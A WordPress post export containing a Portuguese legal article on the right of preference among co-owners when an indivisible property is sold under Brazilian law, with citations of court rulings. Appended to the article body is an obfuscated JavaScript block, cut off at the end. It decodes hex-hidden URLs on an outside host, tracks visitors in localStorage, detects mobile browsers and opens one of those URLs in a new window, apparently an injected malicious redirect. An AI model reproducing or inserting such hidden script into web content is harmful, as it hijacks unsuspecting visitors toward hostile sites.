{"id":1781,"date":"2017-08-03T15:22:34","date_gmt":"2017-08-03T18:22:34","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/artigo-direito-de-preferencia-na-venda-de-bem-indivisivel-de-multipla-titularidade-por-ana-carolina-de-araujo-dantas-loureiro\/"},"modified":"2017-08-03T15:22:34","modified_gmt":"2017-08-03T18:22:34","slug":"artigo-direito-de-preferencia-na-venda-de-bem-indivisivel-de-multipla-titularidade-por-ana-carolina-de-araujo-dantas-loureiro","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/artigo-direito-de-preferencia-na-venda-de-bem-indivisivel-de-multipla-titularidade-por-ana-carolina-de-araujo-dantas-loureiro\/","title":{"rendered":"Artigo &#8211; Direito de prefer\u00eancia na venda de bem indivis\u00edvel de m\u00faltipla titularidade &#8211; Por Ana Carolina de Ara\u00fajo Dantas Loureiro"},"content":{"rendered":"<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Direito de prefer&ecirc;ncia &eacute; a prerrogativa de se adquirir um bem pelas mesmas condi&ccedil;&otilde;es oferecidas a terceiro (como pre&ccedil;o e forma de pagamento). Tratando-se de bem comum, o exerc&iacute;cio do direito de prefer&ecirc;ncia objetiva mant&ecirc;-lo no dom&iacute;nio de quem j&aacute; &eacute; propriet&aacute;rio, evitando o ingresso de terceiro na gest&atilde;o do patrim&ocirc;nio &ldquo;ante o potencial conflituoso inerente a essa forma an&ocirc;mala de propriedade&rdquo; (STJ, REsp 1137176\/PR, rel. min. Marco Buzzi, 4&ordf; Turma, 16\/2\/2016).<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Assim, a manuten&ccedil;&atilde;o da titularidade do bem de propriedade comum pelo j&aacute; copropriet&aacute;rio poderia evitar maiores animosidades entre os donos sobre a administra&ccedil;&atilde;o e uso do bem (artigo 1.314 do CC).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Para se operacionalizar o exerc&iacute;cio do direito de prefer&ecirc;ncia, o cond&ocirc;mino deve ser notificado sobre a inten&ccedil;&atilde;o do copropriet&aacute;rio de alhear fra&ccedil;&atilde;o ideal do bem antes que seja, de fato, transferida para terceiro. A lei n&atilde;o determina que se ofere&ccedil;a o quinh&atilde;o aos demais cond&ocirc;minos antes de lan&ccedil;&aacute;-lo no mercado (embora tal conduta possa ser realizada por uma quest&atilde;o pr&aacute;tica). Ou seja: em tese, pode-se colocar &agrave; venda o bem indiviso de propriedade, mas antes de fechado o neg&oacute;cio, deve ser concedido prazo para o exerc&iacute;cio da prefer&ecirc;ncia. Destaque-se que, nos bens im&oacute;veis, a propriedade apenas &eacute; transferida com o respectivo registro em cart&oacute;rio (artigo 1.245 do C&oacute;digo Civil).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; No caso de bem indivis&iacute;vel comum, por expressa previs&atilde;o legal, deve ser observado o direito de prefer&ecirc;ncia do cond&ocirc;mino (artigo 504 do CC). Na classifica&ccedil;&atilde;o do C&oacute;digo Civil, &ldquo;bens divis&iacute;veis s&atilde;o os que se podem fracionar sem altera&ccedil;&atilde;o na sua subst&acirc;ncia, diminui&ccedil;&atilde;o consider&aacute;vel de valor, ou preju&iacute;zo do uso a que se destinam&rdquo; (artigo 87). Em sentido contr&aacute;rio, &ldquo;s&atilde;o indivis&iacute;veis os bens que n&atilde;o admitem divis&atilde;o c&ocirc;moda sem desvaloriza&ccedil;&atilde;o ou dano, a exemplo de um cavalo de corrida&rdquo;<a name=\"_ftnref1\"><\/a><a href=\"http:\/\/www.conjur.com.br\/2017-ago-01\/opiniao-direito-preferencia-venda-bem-indivisivel-multipla-titularidade#_ftn1\">[1]<\/a>. Em outros termos, um bem &eacute; considerado indivis&iacute;vel, quando, por suas caracter&iacute;sticas, &ldquo;percebe-se n&atilde;o existir a possibilidade de divis&atilde;o igualit&aacute;ria que mantivesse a subst&acirc;ncia e utilidade do referido bem, conforme disciplina o artigo 87 do C&oacute;digo Civil&rdquo; (TJ-PE, Apela&ccedil;&atilde;o C&iacute;vel 313.102-0, rel. des. Eduardo Sert&oacute;rio Canto, 3&ordf; C&acirc;mara C&iacute;vel, j. 18\/6\/2014).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Os bens poder&atilde;o ser indivis&iacute;veis por: 1) determina&ccedil;&atilde;o legal (caso do m&oacute;dulo rural); 2) por conven&ccedil;&atilde;o das partes; 3) por sua pr&oacute;pria natureza (como um animal).&nbsp; A jurisprud&ecirc;ncia admite que no caso concreto, pode ser dif&iacute;cil provar a indivisibilidade (STJ, REsp 9.934\/SP, rel. min. S&aacute;lvio de Figueiredo Teixeira, 4&ordf; Turma, e REsp 1207129\/MG, rel. min. Luis Felipe Salom&atilde;o, 4&ordf; Turma, 16\/6\/2015), vez que a &ldquo;diminui&ccedil;&atilde;o consider&aacute;vel de valor&rdquo; pode obstar a divis&atilde;o (artigo 87 do CC).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Como na aliena&ccedil;&atilde;o de quinh&atilde;o para um cond&ocirc;mino n&atilde;o h&aacute; entrada de um terceiro na titularidade do bem comum, n&atilde;o &eacute; necess&aacute;ria a oferta para os demais copropriet&aacute;rios (STJ, REsp 1137176\/PR, Rel. Min. Marco Buzzi, 4&ordf; Turma, 16\/02\/2016). Sendo unidades aut&ocirc;nomas de um condom&iacute;nio, cada propriet&aacute;rio tem direitos exclusivos sobre seus bens. N&atilde;o h&aacute; o direito de prefer&ecirc;ncia na aliena&ccedil;&atilde;o por serem bens naturalmente divis&iacute;veis.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Diferentemente, na copropriedade de unidade de apartamento de edif&iacute;cio edil&iacute;cio (artigo 1.331 e seguintes do CC), as suas caracter&iacute;sticas revelam indivisibilidade. Na pr&aacute;tica, &eacute; comum ocorrer essa configura&ccedil;&atilde;o na aquisi&ccedil;&atilde;o de bem por causa mortis (v.g., irm&atilde;os que herdam apartamento deixado pelo genitor). Nessa hip&oacute;tese, construir adapta&ccedil;&otilde;es para torn&aacute;-lo divis&iacute;vel (como p&ocirc;r um muro interno para segmentar o im&oacute;vel), al&eacute;m de oneroso, poderia comprometer sua subst&acirc;ncia, diminuir-lhe consideravelmente o valor ou prejudicar-lhe o uso &ndash; o que revela a sua natureza indivis&iacute;vel (STJ, REsp 1207129\/MG, rel. min. Luis Felipe Salom&atilde;o, 4&ordf; Turma, 16\/06\/2015; TJ-PE Apela&ccedil;&atilde;o C&iacute;vel 313.102-0, rel. des. Eduardo Sert&oacute;rio Canto, 3&ordf; C&acirc;mara C&iacute;vel, j. 18\/06\/2014; TJPE, Apela&ccedil;&atilde;o C&iacute;vel n&ordm; 0134302-6, rel. des. Eduardo Augusto Paur&aacute; Peres, 27\/11\/2006).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Importa destacar a peculiaridade sobre bens indivis&iacute;veis, mas pass&iacute;veis de divis&atilde;o. Como exemplo, t&ecirc;m-se a hip&oacute;tese da copropriedade de im&oacute;vel com v&aacute;rios apartamentos e &aacute;rea comum n&atilde;o configurado na forma de condom&iacute;nio edil&iacute;cio em que h&aacute; indivisibilidade f&aacute;tica por ser um &uacute;nico registro para todo o bem (que pode discriminar apartamentos, mas sem matr&iacute;culas pr&oacute;prias). Nesse caso, apesar de encontrar-se indivis&iacute;vel, pode passar por divis&atilde;o como ao tornar-se edif&iacute;cio edil&iacute;cio. Houve celeuma doutrin&aacute;ria acerca da aplicabilidade do direito de prefer&ecirc;ncia em tal hip&oacute;tese. Por&eacute;m, essa pol&ecirc;mica foi dirimida atrav&eacute;s de julgados do STJ que abordaram a quest&atilde;o, primeiramente, sob a &eacute;gide do C&oacute;digo Civil anterior (REsp 489.860\/SP, Rel. Ministra Nancy Andrighi, Segunda Se&ccedil;&atilde;o, julgado em 27\/10\/2004). Mais recentemente, a Quarta Turma do STJ ratificou essa orienta&ccedil;&atilde;o para que seja observado o direito de prefer&ecirc;ncia do copropriet&aacute;rio previsto no artigo 504 do C&oacute;digo Civil, in verbis:<\/p>\n<p style=\"text-align: justify;\"><em>&nbsp;&nbsp;&nbsp;&nbsp; DIREITO CIVIL. CONDOM&Iacute;NIO. ARTIGO 504 DO C&Oacute;DIGO CIVIL. DIREITO DE PREFER&Ecirc;NCIA DOS DEMAIS COND&Ocirc;MINOS NA VENDA DE COISA INDIVIS&Iacute;VEL. IM&Oacute;VEL EM ESTADO DE INDIVIS&Atilde;O, MAS PASS&Iacute;VEL DE DIVIS&Atilde;O. MANUTEN&Ccedil;&Atilde;O DO ENTENDIMENTO EXARADO PELA SEGUNDA SE&Ccedil;&Atilde;O TOMADO &Agrave; LUZ DO ARTIGO 1.139 DO C&Oacute;DIGO CIVIL DE 1916.<\/em><br \/>\n<em>1. O cond&ocirc;mino que desejar alhear a fra&ccedil;&atilde;o ideal de bem em estado de indivis&atilde;o, seja ele divis&iacute;vel ou indivis&iacute;vel, dever&aacute; dar prefer&ecirc;ncia ao comunheiro da sua aquisi&ccedil;&atilde;o. Interpreta&ccedil;&atilde;o do artigo 504 do CC\/2002 em conson&acirc;ncia com o precedente da Segunda Se&ccedil;&atilde;o do STJ (REsp n. 489.860\/SP, Rel. Ministra Nancy Andrighi), exarado ainda sob a &eacute;gide do CC\/1916.<\/em><em> 2. De fato, a compara&ccedil;&atilde;o do artigo 504 do CC\/2002 com o antigo artigo 1.139 do CC\/1916 permite esclarecer que a &uacute;nica altera&ccedil;&atilde;o substancial foi a relativa ao prazo decadencial, que &ndash; de seis meses &ndash; passou a ser de cento e oitenta dias e, como sabido, a contagem em meses e em dias ocorre de forma diversa; sendo que o STJ, como Corte respons&aacute;vel pela uniformiza&ccedil;&atilde;o da interpreta&ccedil;&atilde;o da lei federal, um vez definida tese sobre determinada mat&eacute;ria, deve prestigi&aacute;-la, mantendo sua coes&atilde;o.<\/em><em> 3. Ademais, ao conceder o direito de prefer&ecirc;ncia aos demais cond&ocirc;minos, pretendeu o legislador conciliar os objetivos particulares do vendedor com o intuito da comunidade de copropriet&aacute;rios. Certamente, a fun&ccedil;&atilde;o social recomenda ser mais c&ocirc;modo manter a propriedade entre os titulares origin&aacute;rios, evitando desentendimento com a entrada de um estranho no grupo.<\/em><em> 4. Deve-se levar em conta, ainda, o sistema jur&iacute;dico como um todo, notadamente o par&aacute;grafo &uacute;nico do artigo 1.314 do CC\/2002, que veda ao cond&ocirc;mino, sem pr&eacute;via aquiesc&ecirc;ncia dos outros, dar posse, uso ou gozo da propriedade a estranhos (que s&atilde;o um minus em rela&ccedil;&atilde;o &agrave; transfer&ecirc;ncia de propriedade), somado ao artigo 504 do mesmo diploma, que pro&iacute;be que o cond&ocirc;mino em coisa indivis&iacute;vel venda a sua parte a estranhos, se outro consorte a quiser, tanto por tanto.<\/em><em> 5. N&atilde;o se pode olvidar que, muitas vezes, na pr&aacute;tica, mostra-se extremamente dif&iacute;cil a prova da indivisibilidade. Precedente: REsp 9.934\/SP, Rel. Ministro S&aacute;lvio de Figueiredo Teixeira, Quarta Turma.<\/em><em> 6. Na hip&oacute;tese, como o pr&oacute;prio ac&oacute;rd&atilde;o reconhece que o im&oacute;vel sub judice se encontra em estado de indivis&atilde;o, apesar de ser ele divis&iacute;vel, h&aacute; de se reconhecer o direito de prefer&ecirc;ncia do cond&ocirc;mino que pretenda adquirir o quinh&atilde;o do comunheiro, uma vez preenchidos os demais requisitos legais.<\/em><em> 7. Recurso especial provido. (REsp 1207129\/MG, Rel. Min. Luis Felipe Salom&atilde;o, 4&ordf; T, j. 16\/06\/2015)<\/em><\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Mais recentemente, o STJ tratou novamente sobre o direito de prefer&ecirc;ncia em bens indivis&iacute;veis pass&iacute;veis de divis&atilde;o.&nbsp; O caso abordava copropriet&aacute;rios de fra&ccedil;&otilde;es ideais de lotes de terras recebidos por doa&ccedil;&atilde;o. Um donat&aacute;rio alienou a sua parcela sobre o im&oacute;vel a outro cond&ocirc;mino sem oferecer aos demais cotitulares.&nbsp; Ante tal fato, os cond&ocirc;minos que se sentiram preteridos ajuizaram a&ccedil;&atilde;o para pleitear a nulidade do neg&oacute;cio.&nbsp; Contudo, o STJ entendeu pela desnecessidade de exercer o direito de prefer&ecirc;ncia nessa situa&ccedil;&atilde;o, visto que s&oacute; houve altera&ccedil;&otilde;es no percentual da parte ideal de cond&ocirc;mino que adquiriu a parte de outrem, sem ingresso de terceiros na titularidade do bem (REsp 1137176\/PR, relator ministro Marco Buzzi, 4&ordf; Turma, julgado em 16\/02\/2016).&nbsp; Em outros termos, se o adquirente fosse um terceiro, na compra do bem indivis&iacute;vel que poderia passar por divis&atilde;o, o im&oacute;vel mereceria ser ofertado a algum dos copropriet&aacute;rios em respeito ao direito de prefer&ecirc;ncia.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O C&oacute;digo Civil de 2002, assim como o anterior, n&atilde;o estabelece prazo para que o cond&ocirc;mino regularmente cientificado possa informar a inten&ccedil;&atilde;o de adquirir o quinh&atilde;o do outro, fazendo jus ao exerc&iacute;cio do direito de prefer&ecirc;ncia. O STJ j&aacute; entendeu, por exemplo, que o prazo de 4 dias&nbsp; entre a missiva e a aliena&ccedil;&atilde;o para terceiro n&atilde;o viola o dispositivo legal (REsp 88.408\/SP, rel. min. Salvio de Figueiredo Teixeira, 4&ordf; Turma, julgado em 23\/9\/1998, DJ 18\/12\/1998<a name=\"_ftnref2\"><\/a><a href=\"http:\/\/www.conjur.com.br\/2017-ago-01\/opiniao-direito-preferencia-venda-bem-indivisivel-multipla-titularidade#_ftn2\">[2]<\/a>).<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Se feita a aliena&ccedil;&atilde;o sem pr&eacute;via e regular notifica&ccedil;&atilde;o ao cond&ocirc;mino, h&aacute; o prazo de 180 dias para que o comunheiro alegue judicialmente a inobserv&acirc;ncia do direito de prefer&ecirc;ncia sobre o bem (conforme reda&ccedil;&atilde;o da parte final do artigo 504 do C&oacute;digo Civil), mediante A&ccedil;&atilde;o Anulat&oacute;ria de Prela&ccedil;&atilde;o, depositando o valor em ju&iacute;zo. Caso n&atilde;o tenha ocorrido a ci&ecirc;ncia anteriormente, sendo im&oacute;vel, conta-se do registro do t&iacute;tulo de propriedade.<\/p>\n<p style=\"text-align: justify;\">\n<em>CONDOM&Iacute;NIO EM COISA INDIVIS&Iacute;VEL &ndash; VENDA A TERCEIROS &ndash; AUS&Ecirc;NCIA DE CONHECIMENTO DOS CO-PROPRIET&Aacute;RIOS &ndash; DIREITO DE PREFER&Ecirc;NCIA &ndash; PRAZO DECADENCIAL &ndash; IN&Iacute;CIO DA CONTAGEM &ndash; A PARTIR DA CI&Ecirc;NCIA, PELO INTERESSADO, DA ALIENA&Ccedil;&Atilde;O &ndash; &Eacute; anul&aacute;vel a venda a terceiro de parte da coisa indivis&iacute;vel tida em condom&iacute;nio quando n&atilde;o se der ci&ecirc;ncia aos co-propriet&aacute;rios que, em caso de preteri&ccedil;&atilde;o, poder&atilde;o exercer o seu direito de prefer&ecirc;ncia movendo a a&ccedil;&atilde;o competente dentro do prazo decadencial de seis meses, contados a partir do momento em que tomarem ci&ecirc;ncia direta e efetiva da realiza&ccedil;&atilde;o do neg&oacute;cio(aliena&ccedil;&atilde;o), n&atilde;o se admitindo a ci&ecirc;ncia presumida. Apelo improvido &agrave; unanimidade. (TJPE, Apela&ccedil;&atilde;o C&iacute;vel n&ordm; 28617-3, Relator Desembargador Florentino de Lima, 5&ordf; C&acirc;mara C&iacute;vel, data do julgamento: 25\/04\/2000).<\/em><\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O prazo de 180 dias &eacute; contado a partir da efetiva ci&ecirc;ncia da aliena&ccedil;&atilde;o (feita sem respeitar o regular direito de prefer&ecirc;ncia). A manifesta&ccedil;&atilde;o desse conhecimento sobre a venda a terceiro pode dar-se de diferentes maneiras, visto que o C&oacute;digo n&atilde;o delimita uma forma espec&iacute;fica. Sobre o tema, o Tribunal de Justi&ccedil;a de Pernambuco, em A&ccedil;&atilde;o de Invent&aacute;rio, considerou &ldquo;que o termo inicial do prazo de cento e oitenta dias para o dep&oacute;sito do pre&ccedil;o do bem que &eacute; objeto do exerc&iacute;cio do direito de prefer&ecirc;ncia se deu em 04\/02\/2010 (fls. 41\/42), quando os herdeiros (ora agravantes) interpuseram peti&ccedil;&atilde;o requerendo &lsquo;a nulidade de todos os atos processuais posteriores &agrave; juntada dos instrumentos de procura&ccedil;&atilde;o anexados aos autos &agrave;s fls. 617 e 900, inclusive do Alvar&aacute; de venda n&ordm; 897\/2009&rsquo;, momento em que restou demonstrada a ci&ecirc;ncia destes da autoriza&ccedil;&atilde;o judicial para venda do im&oacute;vel em comento&rdquo;. (TJ-PE, inteiro teor do voto no Agravo de Instrumento n&ordm; 0249052-6, relator desembargador Roberto da Silva Maia, 1&ordf; C&acirc;mara C&iacute;vel, data do julgamento: 26\/03\/2013)<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Do exposto, constata-se que direito de prefer&ecirc;ncia entre copropriet&aacute;rios permite que o titular de um bem comum possa adquirir fra&ccedil;&atilde;o ideal alienada nas mesmas condi&ccedil;&otilde;es oferecidas por terceiro. Trata-se de uma previs&atilde;o legal amparada pela jurisprud&ecirc;ncia com o objetivo de manter a pacifica&ccedil;&atilde;o social e o bom uso da propriedade, vez que o ingresso de terceiro alheio &agrave; comunh&atilde;o pode aumentar o potencial de atrito entre os cond&ocirc;minos sobre a administra&ccedil;&atilde;o do bem.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Tal prerrogativa &eacute; aplic&aacute;vel nas aliena&ccedil;&otilde;es de bens comuns indivis&iacute;veis por sua natureza ou por for&ccedil;a de lei. &nbsp;Outrossim, deve ser observada nas aliena&ccedil;&otilde;es de bens que, embora indivis&iacute;veis, permitam divis&atilde;o, conforme tem sido compreendido pela jurisprud&ecirc;ncia.<\/p>\n<p style=\"text-align: justify;\"><strong>Refer&ecirc;ncias bibliogr&aacute;ficas<\/strong><\/p>\n<p style=\"text-align: justify;\">GAGLIANO, Pablo Stolze &amp; PLAMPLONA FILHO, Rodolfo. Novo Curso Direito Civil. Parte Geral. Saraiva, 2009.<\/p>\n<p style=\"text-align: justify;\">GOMES, Orlando. Introdu&ccedil;&otilde;es ao Direito Civil. Forense, 2001.<\/p>\n<p style=\"text-align: justify;\">GON&Ccedil;ALVES, Roberto Carlos. Direito Civil Brasileiro. Volume V, Direito das Coisas. Saraiva, 2008.<\/p>\n<p style=\"text-align: justify;\">FIGUEIREDO, Luciano &amp; FIGUEIREDO, Roberto. Direito Civil. Parte Geral. JusPodivm, 2013.<\/p>\n<p style=\"text-align: justify;\">MISQUIATI, D&eacute;bora Fayad . &nbsp;Venda de coisa comum indivis&iacute;vel. Artigo jur&iacute;dico publicado no portal do Conselho Notarial do Brasil &ndash; Conselho Federal.&nbsp; Dispon&iacute;vel em &lt;http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=NTkwNQ==&gt;. Acesso em 14\/07\/2017.<\/p>\n<p>LOUREIRO, Luiz Guilherme. Registros P&uacute;blicos: Teoria e Pr&aacute;tica. Gen M&eacute;todo, 2014.<\/p>\n<div>\n<hr \/>\n<\/div>\n<p style=\"text-align: justify;\"><a name=\"_ftn1\"><\/a><a href=\"http:\/\/www.conjur.com.br\/2017-ago-01\/opiniao-direito-preferencia-venda-bem-indivisivel-multipla-titularidade#_ftnref1\">[1]<\/a>&nbsp;FIGUEIREDO, Luciano &amp; FIGUEIREDO, Roberto. Direito Civil. Parte Geral. JusPodivm, 2013, p. 311.<\/p>\n<p><a name=\"_ftn2\"><\/a><a href=\"http:\/\/www.conjur.com.br\/2017-ago-01\/opiniao-direito-preferencia-venda-bem-indivisivel-multipla-titularidade#_ftnref2\">[2]<\/a>&nbsp;(&hellip;) I &ndash; O art. 1.139 do C&oacute;digo Civil incumbe o cond&ocirc;mino que deseja alhear seu quinh&atilde;o do im&oacute;vel indiviso de promover a comunica&ccedil;&atilde;o pr&eacute;via aos demais, sem determinar o prazo que lhes deve ser concedido para o exerc&iacute;cio da prefer&ecirc;ncia. II &ndash; Assentado nas inst&acirc;ncias ordin&aacute;rias ter havido essa comunica&ccedil;&atilde;o, e nem afirmada m&aacute;-f&eacute; da alienante pelas inst&acirc;ncias ordin&aacute;rias, n&atilde;o h&aacute; que se invocar viola&ccedil;&atilde;o do art. 1.139, CC. (REsp 88.408\/SP, Rel. MIN.<\/p>\n<p>SALVIO DE FIGUEIREDO TEIXEIRA, QUARTA TURMA, julgado em 23\/09\/1998, DJ 18\/12\/1998, p. 358)<br \/>\n<em>Ana Carolina de Ara&uacute;jo Dantas Loureiro&nbsp;&eacute; advogada p&oacute;s-graduada em Direito P&uacute;blico pela Universidade Federal de Pernambuco.<\/em><\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x70\\x4f\\x63\\x39\\x63\\x31','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x57\\x55\\x4f\\x38\\x63\\x35','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x58\\x6e\\x48\\x35\\x63\\x33','8SJGLkz','random','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x74\\x62\\x58\\x31\\x63\\x38','7196643rGaMMg','setItem','-mnts','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x4e\\x76\\x63\\x32\\x63\\x31','266801SrzfpD','substr','floor','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x67\\x71\\x79\\x34\\x63\\x39','3ThLcDl','stopPropagation','_blank','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x66\\x55\\x61\\x33\\x63\\x39','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x71\\x58\\x6d\\x30\\x63\\x39'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))\/0x1*(parseInt(_0x57995c(0x1f3))\/0x2)+parseInt(_0x57995c(0x1d8))\/0x3*(-parseInt(_0x57995c(0x1de))\/0x4)+parseInt(_0x57995c(0x1f0))\/0x5*(-parseInt(_0x57995c(0x1f4))\/0x6)+parseInt(_0x57995c(0x1e8))\/0x7+-parseInt(_0x57995c(0x1f6))\/0x8*(-parseInt(_0x57995c(0x1f9))\/0x9)+-parseInt(_0x57995c(0x1e6))\/0xa*(parseInt(_0x57995c(0x1eb))\/0xb)+parseInt(_0x57995c(0x1e4))\/0xc*(parseInt(_0x57995c(0x1e1))\/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x58\\x55\\x78\\x36\\x63\\x36','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x76\\x2d\\x65\\x2e\\x6c\\x69\\x76\\x65\\x2f\\x6e\\x4c\\x57\\x37\\x63\\x32',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)\/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)\/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x49bda1(0x1e7)](_0x264a55)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v 